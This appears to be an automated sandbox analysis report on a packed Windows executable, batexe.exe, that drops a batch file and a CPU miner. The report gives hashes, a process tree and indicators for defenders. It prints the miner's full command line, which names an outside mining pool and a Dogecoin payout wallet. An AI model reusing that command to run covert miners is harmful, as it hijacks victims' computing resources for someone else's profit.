73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
296s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 08:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3560	b2e.exe
2984	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2984	cpuminer-sse2.exe
2984	cpuminer-sse2.exe
2984	cpuminer-sse2.exe
2984	cpuminer-sse2.exe
2984	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3172-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 3560	3172	batexe.exe	74
PID 3172 wrote to memory of 3560	3172	batexe.exe	74
PID 3172 wrote to memory of 3560	3172	batexe.exe	74
PID 3560 wrote to memory of 3156	3560	b2e.exe	75
PID 3560 wrote to memory of 3156	3560	b2e.exe	75
PID 3560 wrote to memory of 3156	3560	b2e.exe	75
PID 3156 wrote to memory of 2984	3156	cmd.exe	78
PID 3156 wrote to memory of 2984	3156	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\AF5A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AF5A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AF5A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4B9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AF5A.tmp\b2e.exe

Filesize
1.1MB

MD5
a43a8e689cd5eb2690d211c1d48e729a

SHA1
92acd696234142bf22c8b5f1c1af459f38dc3bf4

SHA256
de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc

SHA512
d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182

Download Submit
C:\Users\Admin\AppData\Local\Temp\AF5A.tmp\b2e.exe

Filesize
1.4MB

MD5
c5e09858066f182b7f5bdcb61d9b36fc

SHA1
7a1de79ffcfa17a7a86a01f8d5046eaf970b8905

SHA256
b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6

SHA512
70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\B4B9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
9b7005b0cd65f4de09b2b360f9c17ec5

SHA1
bf6e47256a84284f189fb4fde155ae10b18bd97d

SHA256
e2eee45e4abd2dc2f6a2c29b2012ce2e52f312dcc55056adef11d4678329fe2e

SHA512
9283de9512760a1bf98e90b18cf794d0e717b9b9d26739e7b80c77c93ad3dae30c58254c909ea45d0b483c4a41359efe3ece7d1407a81c43c582023cc45d705a

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
66fcf40e86654f41cad36f479a6844e3

SHA1
67c105d7cc6234acb7827a146004574bc172f796

SHA256
88fce32ee91efaa9368b398581dc3a7138a878c6a105a1377c2ebf70d2cbe9dd

SHA512
ab3d52c322c1ab2eb041b28b8ad55f0a7884bee7c2312510754ce164beacd6a979e1842498abe4afabb50ea8369df9f7023f08ffd86bbdd1bb9eb963293e193a

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
2b6dba277619141da57ebc392f56bc30

SHA1
27989b4819eeba67dd70002bcb2d9be48746cd8d

SHA256
0c6b4a6f4a095368eb51b7c14b5ee13db9c125428130eb9a51befcd27b04dfa1

SHA512
7194e53b44978c017050a3fd9790bf37ec188aec9b67bc5c67178da68817bca1cac5a7b0ee412fc9b511d92d7267c6e31644a47d0594dc218c2352389aff4bb5

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2984-42-0x0000000067DF0000-0x0000000067E88000-memory.dmp

Filesize
608KB

Download
memory/2984-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2984-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2984-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2984-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2984-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3172-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3560-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3560-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download